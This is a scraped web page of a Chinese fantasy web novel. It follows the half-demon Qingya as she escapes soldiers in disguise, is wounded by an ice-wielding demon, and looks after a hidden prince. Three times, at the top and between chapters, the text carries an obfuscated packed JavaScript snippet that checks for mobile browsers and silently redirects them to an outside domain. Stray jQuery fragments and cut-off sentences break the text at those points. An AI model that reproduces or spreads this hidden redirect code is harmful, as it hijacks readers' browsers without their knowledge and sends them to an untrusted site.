;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13210922|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的样子,点了点头。所谓言多必失,这种时候要少说话。 “山上还有其他人吗?” “没有”她摇头。 “那你自己在这山上做什么呢?” “我……等人。”青崖没想好该怎么说,随口扯道。 她本就十七岁妙龄,鲜少接触外人,身上毫无烟火气,笑起来十足纯善,说什么别人都容易相信。 官兵们一看便即有了猜测,粗鲁地哈哈大笑,“哦——在等情人吧!” 情人偷偷私会的故事青崖听姐姐讲过,在姐姐的讲述里,私会的情人们无一例外都没好下场,因此青崖从未想过有一天自己会被人以为在等情人。 她乐得不用再自己费脑编造理由,模仿故事里的娇羞女子,用毫无说服力的语气道:“才不是呢!” 果然,她越否认,官兵越是认定她在等情郎。 调笑一阵,带头的刀疤手官兵拿出一张画像展开,问:“有没有见过这个人?” 以青崖眼光来看,那画像画功实在粗糙,勉强可辨是一个俊秀少年郎,隐约与阿远有几分相似。 她佯装端详画像,道:“没见过。” 刀疤手收起画像,上下左右张望,唯见山石草木,他对青崖道:“别等了,我们上山一个人影也没看到,你情郎肯定不来了。你跟随我们下山给长官回话去,也算我们有个交代,放心,我们不会伤害你。” 有谎话。 但他说得太快,青崖分不清,是“一个人影也没看到”是谎话,还是“我们不会伤害你”是谎话。 旁边几人一听说可以就此下山,立刻振作起来,个个目光灼灼盯着她。看那样子,就算拒绝跟随他们回去也没用。 青崖问:“我去跟谁回话?” “别问那么多,你去了就知道了。要是半路遇见你的情郎上山,就把他也带上,不会拆散你们的。”官兵们又哈哈一阵大笑。 青崖不情不愿地起身,一脸懵懂道:“我是好人家的女儿,可没犯什么罪,你们不会抓我害我吧?” “不会!小姑娘这么水灵,看穿着打扮,应该是个富贵人家?等问完话我们把你送回家去,你父母说不定还会给我们些赏钱,我们害你做什么。” 听到这个回答,青崖确定了,“不会伤害你”和“送你回家”“找父母要赏钱”均是谎话。 可他们不是就为了搜山,看看山里有没有藏人?难道是要把人带走严刑逼供?就算搜山找人,随便抓个人就严刑逼供,这也不太符合常理吧? 细一观察,在他们身上还发现一不寻常之处:从这些人走路站立的姿态可以看出,这十几个人,人人均是练武好手,估计随便一个都可与裴浩匹敌,不像她以前接触过的普通官兵。 青崖问:“你们是哪里的兵?” “玉皇村的。”一个人随意答道。 谎话。 山下确实有个玉皇村,说明他们绝不是玉皇村的兵,或许根本就不是兵。 青崖又问:“你们知道我家住哪吗?我家很远,要送我回去可得好久呢。” “不知道你家住哪,到时候你带路,路远就让你父母多给我们些酬劳。” 谎话。 这句谎话让青崖心头一颤。 这岂不是说明,他们知道她家住在哪里?她家在荒无人烟的山谷之中,周围还有妖的结界保护,他们怎么会知道? 16. 采三秀兮于山间5 “你们搜山是为了找画像上的这个人吗?” “当然。你要是见过他,一定要告诉我们,只要提供线索就会给你赏钱。” 又是谎话。 这些谎话拼凑起来实在让人迷惑。 不是官兵却伪装官兵;不是为了找陵王,却打着找陵王的名义,要带她——不知去哪里,反正绝不是去什么地方简单问话。 知道她家住哪里,那么知不知道她是妖?难不成实际上是捉妖的术士? 自从《捉妖令》推行后,民间多了许多自称可以捉妖的术士,有真有假。在京城还有专门的捉妖机构,叫诛邪司,诛邪司的术士是真正会使用符篆法器的术士,他们的确捉走了不少妖。据说被捉到的妖都会被剥皮抽筋、剖丹炼骨……姐姐常用此事吓唬她,警告她远离东莱国人。 青崖跟随这群武人往山下走,本是毫无惧怕的,以她的身手,从十几个凡人手里逃脱,再简单不过。可他们若是捉妖术士,有什么她没见过的符篆、法器,那就另当别论了。 她还想再多问一些问题打探出更多信息,但带头刀疤手似乎察觉到她的意图,凶巴巴道:“小姑娘别多话,不许再问,跟我们走便是。” 说罢,转回头时,无意间露出一个窃喜的鬼笑。那是一个极隐秘微小的表情变化,只因青崖对人情绪天生敏感,这才能在那人真实情绪暴露的一瞬间就捕捉到。 这是一个更奇怪之处,那抹窃笑,并不包含恶意。 可那句“不会伤害你”又分明是假话。 矛盾得令人费解。 面对十几个武人假扮官兵前后左右将她围在中间还满口谎话的情况,青崖也不敢大意相信自己模糊的直觉。好容易按捺不安随他们走到半山腰之下,就决意脱身。 天色近黄昏,在一片沙土松软的路段,青崖故意甩脱自己的鞋子,叫道:“呀,我的鞋掉了。” 鞋子落在这队假官兵的最前方,青崖一蹦一跳地过去,其他人都在她身后停下脚步等她穿鞋。 青崖蹲下穿鞋时,在衣裙遮掩下,双手从地上抓起两把沙土,起身同时将沙土朝那群人劈头盖脸撒去,脚下运力一蹬退出丈许,转身足尖轻点,几个起落钻入下山路旁的山石之间。 尘土飞扬,弥漫于半空,那些武人猝不及防,大呼:“啊我的眼睛!”“呸!”“咳咳”“快追!别让她跑了!”“他娘的睁不开眼!” 前面的人沙尘入眼,大呼小叫,怕刀剑伤了自己人,都不敢乱动,后面躲过沙尘攻击的纷纷追出,却发现青崖像凭空消失了一样不见踪影。 玉皇山上多松柏,秋冬长青,青崖在那群人视线之内时是往山下逃的,曲曲折折拐弯脱离他们视线后,就绕开他们的搜索范围,以树木和山石作掩护,掉头上山,很快又回到半山腰,十几个假官兵咋咋呼呼的搜索之声反在脚下,越来越远,最终难以听见。 青崖从藏身的石头后边冒出头,拍掉手上的尘土自言自语:“看来没有符篆法器,到底是捉妖的还是捉人的?” 日落西山,灰蓝色的天幕下,山峦恢复寂静。 不知何时,一股雾气弥漫开来,悄无声息笼罩四周,让原本就昏暗的群山变得更加朦胧,空气中多了几分潮意。 青崖打了个激灵,感到一股凉意从脚下贴着皮肤蔓延至全身。 “姑娘好身手。” 雾气之中,冷不丁响起一个飘渺的声音。 青崖猛然回首,视线穿过朦胧雾气,勉强辨别出一个白衣男子的身影,他站在一处高高凸起的山石上,手中轻摇一把折扇。 那身影似近非近,似远非远。以她的灵敏耳力,在对方发声之前竟完全没察觉到对方的存在,这极罕见。 她后退一步,问:“你是谁?” 白衣男子轻笑一声,没有回答,轻轻挥了一下折扇。他的动作堪称优雅,挥扇之间,却有一股飓风裹挟着几十粒看不清是什么的细小暗器,朝青崖迎面袭来。 青崖下意识闪身躲在巨石之后,没听见预料中暗器击打在巨石上的声音,反而听见数十道破空之声左右一齐响起——竟是那些暗器绕开巨石,继续朝她刺来。 能让半空中的东西任意拐弯,只有妖能做到,原来那些暗器不是从扇子里甩出,而是靠灵力驱使的。对方为了偷袭,不仅收敛声息也收敛了妖气,所以她未能提前发觉。 青崖双手结印召出灵气护住周身,动作不及暗器迅速,到底有几枚穿透屏障嗖嗖擦过手掌边缘,留下冰凉而疼痛的触感。 定睛一看,那是寒冰化作的细小冰刃,每片不过柳叶大小,形状也如柳叶,两角尖锐,边缘锋利。 见到手背上冰刃划过的地方渗出血来,青崖心里有些慌乱。从小到大她还没有受过伤,也没有跟妖打过架,平时同姐姐切磋,姐姐只要一用灵力,她就处于绝对劣势。 身法再轻灵,也只是和普通人周旋时占有优势,和纯妖比试,身法如何不值一提,灵力才是制胜关键。比如这靠灵力操控的冰刃,不及一眨眼就能抵达她身畔,甚至可以在她周围凭空凝结而成,随心所欲转向,她速度再快也躲闪不及。 倘若冰刃再多一点,铺天盖地而来,那就更为灾难。 青崖尚不能随心所欲运转灵力,护身结界只挡住了冰刃的第一波攻击就烟消云散。 几十枚冰刃悬停半空,白衣男子凌空踏步,落到她的面前。这回终于能看清男子,男子却用折扇遮住了半张脸,只露出一双含笑的桃花眼,上下打量,观察着她的伤口,似是看着一个不满意的作品,微微摇头道:“不行,还不够多。” 话音落下,空中数十枚冰刃骤然变作数百枚,射向青崖。 青崖背靠石壁,心慌意乱,更没法凝神运转灵力,只好纵身侧跃,数百冰刃也在石壁前凌空转向,对她紧追不舍。 她凭借敏捷身法,在百枚冰刃之间穿梭躲闪,却始终无法完全避开,总有冰刃擦过皮肤,在身上留下一道道割伤。不过片刻,她的头发就被削掉几缕,身上衣服也被划破几处,脸上手上均有血迹。 冰刃数量有增无减,瞬间如万千雨点。操控冰刃的男子似乎并不急于杀她,万千冰刃包围她绰绰有余,却没有同时攻击,只是拦住了她的去路,让她逃不出他的视线范围,便于让冰刃有条不紊地,一条一条在她身上刻下浅浅血痕。 如别有用心的玩闹,又或漫不经心的调戏。 青崖瞥见男子悠然自得的样子,又怕又恼。 这男子到底想怎样?既是同族为何伤她?之前奇怪的假官兵是否和他有关?也许官兵搜山是假,带她落入这男子的陷阱才是真? 可以确定的是,如果这男子真有害她之心,逼她这样一直闪避,直到脱力,到头来她只有死路一条。 青崖带着满心疑问,围着山体慌不择路地徒劳奔走,怎么也甩不脱包围她的冰刃,心慌意乱之际,眼角在昏暗山道上瞥见一抹红色火光,心中大喜,发力转向,直奔火光而去。 她突然转向,冰刃落后了一瞬,再追上拦截,她已奔至那颗足有一人多高的巨大火球面前。触到热浪,冰刃融化消失,青崖却无畏地一头扎入火球之中,火焰在碰到她的瞬间四分五裂,待她通过,方又聚成一堵火墙护在她的身后。 火焰这边,果然是脸色阴沉的红鸾。她一手拉过青崖,一手在身前手腕翻转,手掌推出,烈焰火墙伴随燃烧的轰轰声往前推进,所过之处,草木化为灰烬,土石熏染焦黑。火墙推进数丈,直到扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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红鸾神色几经变幻,还是心疼多于生气,拿出手帕帮青崖擦拭脸颊侧面伤口渗出的血,道:“这样的伤,长山应当能治,走,去找他,让他给你用最好的药,一点疤也不许留。” 两人一路戒备,故意绕了几个弯,确认无人跟踪才往石洞走去。路上青崖把发生的事一一告知红鸾。 红鸾也猜不出原委,只道:“那群人就算不是真的为了找陵王,肯定也是被陵王引来的,早跟你说过皇室的事都复杂危险,让你别管,你偏不听。” 青崖自知理亏,一句也不敢反驳。在心中暗想,那群人就算是假官兵,他们既然能拿着画像以寻找陵王的名义搜山,那么山下周围必定确实有人在拿着画像找阿远。 若是真的官兵找阿远倒还好,就怕是别人冒充官兵找阿远。 比如那个本就想暗杀阿远的平王,他若发现阿远踪迹,会不会再次行刺?阿远和裴浩有能力自保吗? 另外,平王打着剿匪的名义,杀死了长山舅舅带领的所有流民山匪。她之前可是在众目睽睽之下救走长山的,平王是不是也惦记着长山这个“漏网之鱼”,会想找到长山杀人灭口? 她好不容易救回的人,可不想让旁人随随便便给杀了。 红鸾走在她身边,一路尽是警告与数落,青崖左耳进右耳出,心里满是对那三人的担忧与不舍。 天色漆黑,长山等人没有躲在石洞里,青崖几次呼唤,他们才从附近藏身的犄角旮旯里钻了出来。几人见她头发蓬乱,衣衫褴褛,浑身多伤,都大吃一惊,长山连忙拉她到山洞里检查上药,裴浩从潭中打来清水供她擦洗。 青崖给长山一一指出伤口,二十多道割伤都在身上显而易见之处,比如脸上、颈侧、手背、四肢。 重复指出这些伤口时,她灵光一闪,想起假官兵没有恶意的鬼笑、言语却透露要伤害她的矛盾言行,还有白衣男子那句“还不够多”,突然冒出一个想法:“如果他们不是想杀我,只想要我受些浮于表面的伤,难道是故意要我受伤给谁看的吗?可是别人看到我受伤又能怎样?对什么人有好处?” 这时,小皇子阿远来到她身边坐下,看着她身上的伤口,一脸担忧与内疚。 17. 采三秀兮于山间6 长山细致地帮她处理伤口,伤得深的,就用药水清洗后,贴上帮助愈合的仙草叶片,伤得浅的,就撒上止血药,敷上药膏。 青崖略过使用灵力操控冰刃的白衣男子,只把十几名不明身份的武人冒充官兵拿着阿远画像搜山之事说给他们听,还转达了平王在附近到处贴画像布告搜寻陵王的情况。 阿远静坐在旁,与之前歇斯底里的状态判若两人,听她诉说罢,愧疚道:“是我连累你受伤。” 这是自从救回他以来,第一次见到他神志清醒,没有痛苦,没有挣扎,也没有昏迷。他坐在地上,缩在裴浩给他裹紧的厚实披风里,双腿弯曲,双手搭在膝上,如同他自己眉宇间那粒小小朱砂痣一般乖巧。 青崖仿佛看到自己操劳多日收获的杰出成果,一时把诸般疑问都抛之脑后,快慰地伸长手臂揉了揉阿远的脑袋,笑眯眯道:“叫姐姐!” 红鸾上药的动作变缓,暗暗留心阿远反应。 长山假作检查伤口不经意地拉回青崖手臂。 裴浩略吃一惊,磕磕巴巴道:“青崖姑娘,这、这、这、这不妥……” 毕竟阿远可是个皇子,是民间百姓见了都要跪拜的人。 阿远在几人神色迥异的注视中,对青崖的行为只意外了一下,然后就绽开一个浅笑,清晰唤道:“青崖姐姐。” 声色柔和脆弱,叫人想起易碎的玉。 青崖一下被击中了心。好少年,果然是好少年,她要是有一个这样的弟弟就太好了! “阿远啊,你身体感觉怎样?” “多亏长山先生的医治,我好多了。” “手上的伤愈合了没有?” “正在愈合,现在已经可以不用包扎了。” “脚还痛不痛?” “不走路就不会痛。” “头痛不痛?” “大多时候不痛。” “那就好,”青崖问得意犹未尽,语气神态尽显温柔,“长山先生说那个忘忧散不是什么好东西,是毒药,你以后可不要再碰了。” 阿远露出淡淡忧伤:“嗯,我自己也不愿意碰的。” 青崖愤然:“对了,裴浩说是有人设计害你误食的?谁设计害你?平王吗?” “少打听,”红鸾拽了青崖一下,道:“此地不宜久留,那些假官兵说不定还会再次搜上山来。” 除了官兵还有那个身份不明的白衣男子。青崖心有余悸道:“对,我们还是尽快下山去吧,越过山峰那边有一条更隐蔽的野路,我们从那边走。” 几人收拾手边东西走出石洞,夜晚的山间又黑又冷,之前情绪紧张都没注意,此时被刺骨寒风一吹,五个人刚迈出山洞就默契地齐齐缩了回去。 “这也太冷了吧!”青崖替众人感慨。 阿远站在她身边,比她矮半头,更有小弟之感。青崖一直被红鸾约束照看,时常惋惜自己没有弟弟或妹妹,没机会让她过一把做姐姐的瘾,现在眼前有一个比她年纪小且病弱的阿远,不由得内心充满保护欲。 她站在阿远外侧给他挡住风,道:“不然我们等后半夜将近黎明再出发,这样上山恰好还可以让长山先生再为阿远配一次药。” 山顶才有可以缓解忘忧散之毒的药,能让阿远多吃一次灵药,就能帮他多化解一点忘忧散的毒性。 红鸾没有反对,长山也没有异议,裴浩更是求之不得,阿远思量了一下道:“那便多谢二位姐姐和长山先生了。另外,不知从山峰后面那条路下山是到哪里?可有方便落脚的村镇驿站?” 青崖道:“山那边是一处荒凉之地,没有任何村镇,所以说那条路更隐蔽。不过从那里回我家去,和从山前回我家去距离差不太多,跟我走就是了。” 阿远道:“我不随姐姐回家了,我得回到我该回的地方去。” 青崖蓦然想起原本这次上山也是要告诉他们不便再收留他们的消息,可见过搜山官兵和那个神秘男子后,对他们的安危又担忧起来。 踌躇了一下,她问:“你是害怕我姐姐吗?” 阿远微笑道:“这些日子二位姐姐不辞辛劳地又送饭又采药,承蒙你们照顾,我才能捡回一条命来。至于前日,我听裴浩说了,红鸾姐那日是醉酒状态,醉酒糊涂,行为非出于本意,岂能怪她。” 他毫不介怀的样子就像红鸾只是酒后失态说了几句难听的话,而不是差点把他掐得魂归西天。倒是裴浩,无论是站是坐,都一直提防地隔在阿远与红鸾之间。 红鸾对此漠然处之,没有表示丝毫歉意。 青崖又问:“那是你想回去了吗?回到你该回的地方去?” 阿远眼神暗淡下去,道:“嗯,我想……回去……”手却抓紧衣服,用力握得指尖发白。 这副模样,哪怕不用青崖的辨言天赋也能听出他其实不想回去,至少不想现在回去。 青崖拉着裴浩走到一边,悄声问:“你有没有告诉阿远你从山匪中把他救出来的时候,有刺客追杀你们?还有平王和山匪勾结要害他的事……” 裴浩眼睛一直盯着红鸾,不等青崖说完就道:“殿下知道所有的事,也知道现在外面处处都不安全,我本想劝殿下等——”每次提起外面的事,裴浩用词就特别谨慎,沉吟了一下才接着道:“——等十天半月,搜寻他下落的人放松警惕后我再护送他悄悄回去,可殿下说你们隐居山中,定是不愿被外事打扰,他身上是非太多,不想连累你们,怕让你们有失去家园的风险。” 青崖不语。 失去家园自然非她所愿。 她的木屋是父母留给她的,那不仅是一个木屋,还是关于父母的留念。她绝不愿意失去木屋或被迫离开山谷,更不愿意连累姐姐。 可她也同样不忍心放任他们三人步入外界的危险境地。 本来以为有结界在,外人绝对无法闯入靠近她的家,但在亲耳听过那些假官兵的谎言之后,她无法再继续高枕无忧。 细想这次救人前后发生的一连串事情,还有那个操控冰刃伤她的神秘男子,与小皇子相关的事情确如姐姐所说,像一个不知面貌的巨大旋涡。 对这三人,留或不留,将是一个影响深远的决定,她无法自己做主。 正思考间,听见红鸾道:“留下吧。” 外来三人和她一样意外地看向红鸾。 为了取暖和照明,他们在石洞里点燃了一堆篝火。此时篝火将红鸾的红衣染得鲜红明艳,消融了她周身的冷意。 “就当是我酒后失态的赔罪,可再收留你们几日。我妹妹身上的伤需要医治,长山你至少给她医好再走。”红鸾瞥了一眼三人,眉眼还是冷的,口中道:“当然了,你们要是特别想自己送死,非要现在离开,我也不拦你们。” 其实妖受伤,只要没有伤及灵根,不是特殊符咒法器所伤,不必用药,多加修炼自会痊愈,仅仅比不用药愈合所需时间略长而已。红鸾留他们的理由毫无疑问只是一个说得过去的借口。 “太好了!”青崖欢呼一声,冲过去想搂红鸾,红鸾伸直手臂撑开她保持距离,嫌弃道:“别把你身上的药膏蹭到我衣服上。” *** 五人轮流放哨,在石洞中休息大半夜,天亮前不久开始往山顶行进。 青崖找了个机会,悄悄问红鸾:“姐姐你怎么又愿意让他们留下了?不担心引来什么是非了吗?” 红鸾道:“如果你没听错,那些官兵所说‘不知道你家在哪’确实是谎言,那就是说咱们的住处早就被发现,已没什么保密性可言,好在住处周围有结界,一般外人闯不进来。” 青崖道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13234839|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那伤我的那个白衣男子呢?他是妖,结界拦不住他。” 红鸾道:“陵王与裴浩能闯入结界,一定少不了妖的帮忙。那妖帮了陵王,又故意留下灵流引你去救陵王,如果他与今日出现的假官兵和白衣男子有关,或者他就是那个白衣男子,那他的目的……“ “目的是什么?” 红鸾沉思片刻,道:“我也不确定,总之咱们毫无疑问已经被利用了,他也许不仅知道你我的住处,还知道你那爱捡人回家的毛病。这人不知在暗处观察了有多久,如果不弄清楚他到底要做什么,我也不能心安。“ 青崖说出白衣男子打伤自己可能是故意给某人看的猜测,红鸾道:“我也有此猜测,所以多留他们三个一段时间,好弄清原委。目前一切暂无定论,还不知对方善恶,从现在开始,你不能再离开我的视线,你那点三脚猫的功夫,在纯妖面前根本不够用。” 青崖哦了一声,又想到另一种可能,“那人知道这么多,是不是也知道我是半妖?是不是……其实因为憎恨我身上的凡人血统,对我有敌意,所以才针对我?” 《捉妖令》颁布八年,在它影响之下,妖族不仅无法光明正大地活着,还有许多惨死于术士之手,两族关系从先前的自然状态日渐恶化,如今妖族越来越仇视东莱国人,对于有一半凡人血脉的她,自然也会讨厌。她非人非妖,不能融入任何一方,身份实在尴尬。 “与你无关。”红鸾果断道,“都是那小皇子引来的是非,你不要往自己身世上想。” 一说起她的身份处境,姐姐总是会毫不犹豫地告诉她这一切与她无关。 “明白了,”青崖机智地想,“万一日后姐姐再唠叨我不该捡人,我就和她哭诉这件事。姐姐一心疼,就不会唠叨我啦。” *** 越接近山顶,山风越大,呼呼响在耳边,近在咫尺的人相互说话都须大喊,她们不再交谈,一味埋头赶路。 天色微明,无须灯火照明,就能看清山路。为了御寒,几人把所有带上山的衣物都穿在身上,顶风抵达山顶时尚未日出,阿远解毒需要的那种钟型仙草花瓣刚展开一半。 这日恰逢有云海,站在山顶往下望去,云雾缭绕,山峦若隐若现,如同一幅一望无际的美丽画卷。 日出之时,钟型仙草花瓣完全展开,青崖与裴浩一起摘花采粉,交给长山,调配成药。 长山边忙边道:“这仙草尚未命名,不如姑娘你给它起个名字吧。” 青崖眺望从云海中升起的金色太阳,道:“此花在日出时开放,就叫它‘破晓’吧。” “好。回去我就把这个名字记在我的《仙草征要》上。” 他把“破晓”调制的灵药盛在杯里,递给阿远。 山顶湿寒,他还煮了一壶自己配制的驱寒茶,给每人都倒了一份。在外杯具器皿有限,恰好“破晓”的钟型花朵去掉花蕊就可暂时充当容器,宽而长的叶子也可以卷成杯状,青崖与红鸾一人一花,长山与裴浩一人一叶,用来装茶。 普通药草对妖是没有效果的,但长山所配驱寒茶加入了两种仙草植物,青崖试探喝下一口,顿觉一股暖意落入腹中,从丹田蔓延至四肢,舒适无比。 一阵潮湿的风吹来,卷着白色云雾飘上山顶,丝丝缕缕掠过眼前与脚下,太阳将墨蓝色云海的中间染上金橙色,景色如梦如幻,壮丽非凡。置身于云海之上,让人忍不住暂时放下对前路的担忧,只觉与眼前景色相比,所有烦恼都如一叶障目,一股豪情与希望充斥心间。 青崖带头对着朝阳举起手中暂作杯子的花朵,长山会意,第一个举“杯”效仿,接着是阿远与裴浩,红鸾本不想参与,奈何被青崖抓着手腕强行抬手。 五只不同的“杯子”一齐高举。 “我们一起——敬破晓!” 18. 溯洄从之,道阻且长1 木屋之中。 长山梦见了父母被抓走的那日。 他与母亲正在院子里晒药,前堂忽有官兵破门而入,母亲似乎早料到会有这样一天,急中生智让他藏起来,将平日里最珍爱的玉簪塞到他手中,嘱咐他脱身后以此为信物去投奔舅舅。 梦很凌乱,下一幕眼前便是父母染血的尸首,他想为父母敛尸下葬,却被官兵恐吓驱赶。 他听母亲的话,去投奔舅舅,违背了从小的做人准则,与山匪为伍,接受他们打家劫舍的行为。转瞬之间再次突生变故,官兵前来剿匪,兵匪的厮杀呐喊声响彻云霄。 周围兵荒马乱,舅舅死于若干支利箭,人们的面孔变得狰狞而扭曲,漫山遍野都是尸体,他空有一身医术,却一个人都救不了。他不知道该何去何从,慌乱中本能地躲避着刀箭,忽然感到厌倦。他不过想做一个研究医药的药师,孰料亲人逝世,家园被毁,天地之大竟无一处可以栖身,他开始希望被一刀砍中,结束这个噩梦,所以没有躲避迎面而来的致命一击。 可是有一只手拉住了他。 那是一只女子的手,猛然用力将他从刀锋下带走。 “跟我走!”女子声音中带着欢悦。 在当今严苛律法管理下,世人要么战战兢兢,要么义愤填膺,又或者精于算计,他很久没在身边人口中听到过这么轻松欢悦的声音了。 长山于是跟着她走。这一走,便离开了兵荒马乱,离开了尸山血海,走入一片有山有水的田园梦境。 正当他沉溺于此,女子与田园倏然消失,取而代之的是一片一眼望不到头的森林,森林深处飘来一曲悠扬动听的笛声。 他循笛声而去,笛声却时隐时现,时而在东,时而在西,时而在前,时而在后,找不到源头。 他在山林中寻觅,熬过了阳光斑驳的白日,熬过了月影朦胧的黑夜,只有孤独的影子与自己相伴。笛声越来越缥缈,他焦急起来,笛声戛然而止,他突然恐惧地窒息,怕再也找不到那女子,想要张口大呼,却发不出声音,几番挣扎,猛然惊醒。 原来是午后一梦。 长山大口大口呼吸,擦了一下额头的细汗,试图平复自己的心绪,喘息之间,耳边竟响起与梦境中一样的笛声。 仔细一听,这是真实的笛声,不似梦中那般缥缈虚幻,反而悠扬婉转,越来越近,确乎从窗外传来。 他披衣出门,来到屋檐下,只见木屋前的林子里缓缓走出一匹白马,白马之上驮着一个吹笛的绿衣少女。如同梦中怎么也追寻不到的人,就这样轻盈向他走来。 白马走到木屋附近,青崖正好吹罢一曲,她从马背上一跃而下,裙角翩跹,在空中划出美丽而短暂的淡青色弧线。光线恰到好处地凸显出她裙摆与袖角间精致的花纹,长山原以为那些都是常见的花草纹,而今仔细一看,花草之间还绣有奇特的兽面纹。 花草、兽面,都与少女的神秘气质隐隐相合。令长山在笛声中,感受到一股久违的安心与宁静。 “长山先生!在忙什么?”青崖向他打招呼,开朗得如同从来没有过烦恼。 长山匆匆把随意披起的衣服穿好,拉扯整齐,抚平褶皱,“没忙什么,方才正在午睡。” “那我岂不是把你吵醒了?” “幸亏姑娘把我唤醒,因为我正在做一个不好的梦。姑娘的笛声动听,颇有安神效果。” 青崖见长山脸色确实苍白,额头微有汗意,和姐姐每次噩梦初醒的模样相似,就道:“那我再吹奏几曲给你听吧。” 笛声再次悠扬响起。 青崖的木屋四周没有篱笆圈起来的院子,草木也没有修整过的痕迹。一条石头小路从屋门口延伸出来,弯曲向前,不规则的石块边缘围着一圈初春冒尖的嫩绿芳草。这种古拙布局,即似青山属于木屋,又似木屋属于青山。 他们一起在屋前几块形状天然的石墩上落座,旁边是晾晒着各种草药的石台。长山一边听青崖吹笛,一边整理石台上的草药。 在淡淡药香中,青崖发现长山今日向自己投来的眼神如荡着温柔波光的湖面,忽然手指一乱,不小心按错了几个音,引得树上的红鸟啾啾提醒。 裴浩出得木屋,看到日光正好,把阿远从屋里背了出来,让他坐在屋前晒太阳。 三曲罢,阿远与裴浩齐声赞叹青崖的笛声。长山斟了四杯茶,分别递给几人。他与青崖共用一只茶壶,给阿远与裴浩斟茶用的则是另一只茶壶。 青崖端起杯子一口饮尽,茶水呈清爽的桃粉色,有微微花香,入口甘甜,回味无穷。阿远与裴浩端起他们的杯子却喝得一个皱眉,一个呲牙。 “不好喝吗?”青崖奇道,“我觉得很好喝呀?” 裴浩苦着脸道:“那是因为长山先生给姑娘配的是好喝的花果茶,给我们配的是苦兮兮的药茶。” 长山泰然地端起自己盛有花果茶的茶杯,道:“良药苦口利于病。” 裴浩指着青崖:“姑娘身上不是也有伤么?她怎么不用喝药?” 青崖心虚地摸了摸贴在手上的仙草叶片。其实她身上的伤到第二日就几乎痊愈,长山提出要查看时,她推脱称姐姐已帮她涂过药,无甚大碍,不必再看。 长山道:“青崖姑娘只有外伤,而你们内外皆伤,还在休养恢复阶段,当然要喝药茶。” 他说得一本正经,青崖也不好插嘴,待长山进屋,她才凑到阿远的身边问:“你的茶很苦吗?要不要尝尝我的?” 阿远勉强喝下半杯属于他的药茶,想放下茶杯又很为难,道:“我最近的饮食都要听长山先生安排,他既让我喝药茶,定有他的道理。为了调理好身体,我不得不从。” 裴浩来到青崖身边,悄声道:“青崖姑娘,能否帮忙劝劝长山先生,药茶也就罢了,我们的饭菜中,长山先生也要加药,那些药粥药菜不是苦味就是怪味,让人难以下咽。阿远公子正需饮食进补,他本就食欲不振,现在更是一听吃饭就发愁。” 青崖转头问阿远:“是这样吗?”< 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从没做过饭的青崖,只凭着过往印象把豆类、菜类、肉类一股脑煮成一锅汤,洋洋洒洒放了许多能放的调味料。她绝少吃饭,口味与寻常人不同,有模有样地边煮边尝,不觉好喝也不觉难喝,自己估计大概能喝的时候,就盛汤出锅了。 一盆煮得稀里糊涂、气味复杂的汤端上桌时,裴浩才隐隐发觉自己高兴太早。 饭桌前,三人在青崖期待的眼神里各自小心翼翼尝了一口汤,一时没人说话,氛围安静得诡异。 裴浩见阿远要喝第二口,忙夺过他的碗,道:“公子还在调养身体,应当还是吃药粥比较好,我去把中午、先生、长山……那个——煮的药粥热一热给公子当晚饭。”颠三倒四地说完,端着阿远的碗起身走入厨房。 青崖仔细观察长山脸色,问:“你是不是在憋笑?” 长山整理表情,清了清喉咙道:“姑娘为了让他们听我的话吃药膳,真是煞费苦心。” 青崖感到莫名其妙:“不是呀,我做饭真的是为了让他们换换口味,怎么?这汤不好喝?” 长山眉毛抖动了一下,端起碗道:“也不是,就是味道太浓,我口味清淡,得去加点水。”说罢也端着碗去了厨房。 阿远左脚骨伤未好,还不能自己走路,孤零零留在桌边应对青崖的盘问。 “阿远,我做的汤好喝吗?” 阿远比下午喝苦药茶时还为难,踌躇道:“青崖姐做的汤……呃……味道独特,令人终生难忘。” 这回憋笑的改做青崖了。她最会察言观色,岂会看不出他们的真实态度。等长山与裴浩都回到桌前,她佯装一无所知,信了他们的赞美之词,卖力地劝他们多喝几碗,就连阿远也未能幸免,憋着气喝了半碗汤。 晚饭后,青崖挥别喝汤喝到面色发青的阿远与裴浩,在长山送她回姐姐家的路上,又正经问道:“阿远与裴浩现在的饮食中必须加药吗?” 长山手提灯笼,坦白道:“也不是非加不可。” 19. 溯洄从之,道阻且长2 “哦——”青崖了然于心,“所以你是故意的,故意让他们多吃苦头。” “那姑娘方才一直劝我们多喝汤,是不是故意的?” 两人四目相对,同时笑出声来。 三月的夜晚,已不复严寒,万物都在复苏。路边仙草发出淡淡荧光,空气中弥漫着各种植物的味道。 每次她天黑离开,长山都会送她。他们一人提一只灯笼,在路上多是讨论各种植物,几日下来,青崖记住了长山给各种仙草的命名,长山记录了许多他原本不知道的仙草样貌与特性。 这日,他们又是边走边聊,一起走过一段路,长山道:“有一件事,希望姑娘能劝劝裴侍卫。” 青崖好笑道:“你们两个,他要我劝你,你要我劝他,有什么话就你们不能直接对彼此说吗?” 长山不语,显是到现在都还没完全放下对他们身份的芥蒂。 “好吧,”青崖道,“你要我劝他什么?” 然而,长山突然从身边消失了。 回头一看,他正蹲在一丛草边,盯着一株新发芽的仙草植物,一改片刻前的深沉,新奇地双眼放光。 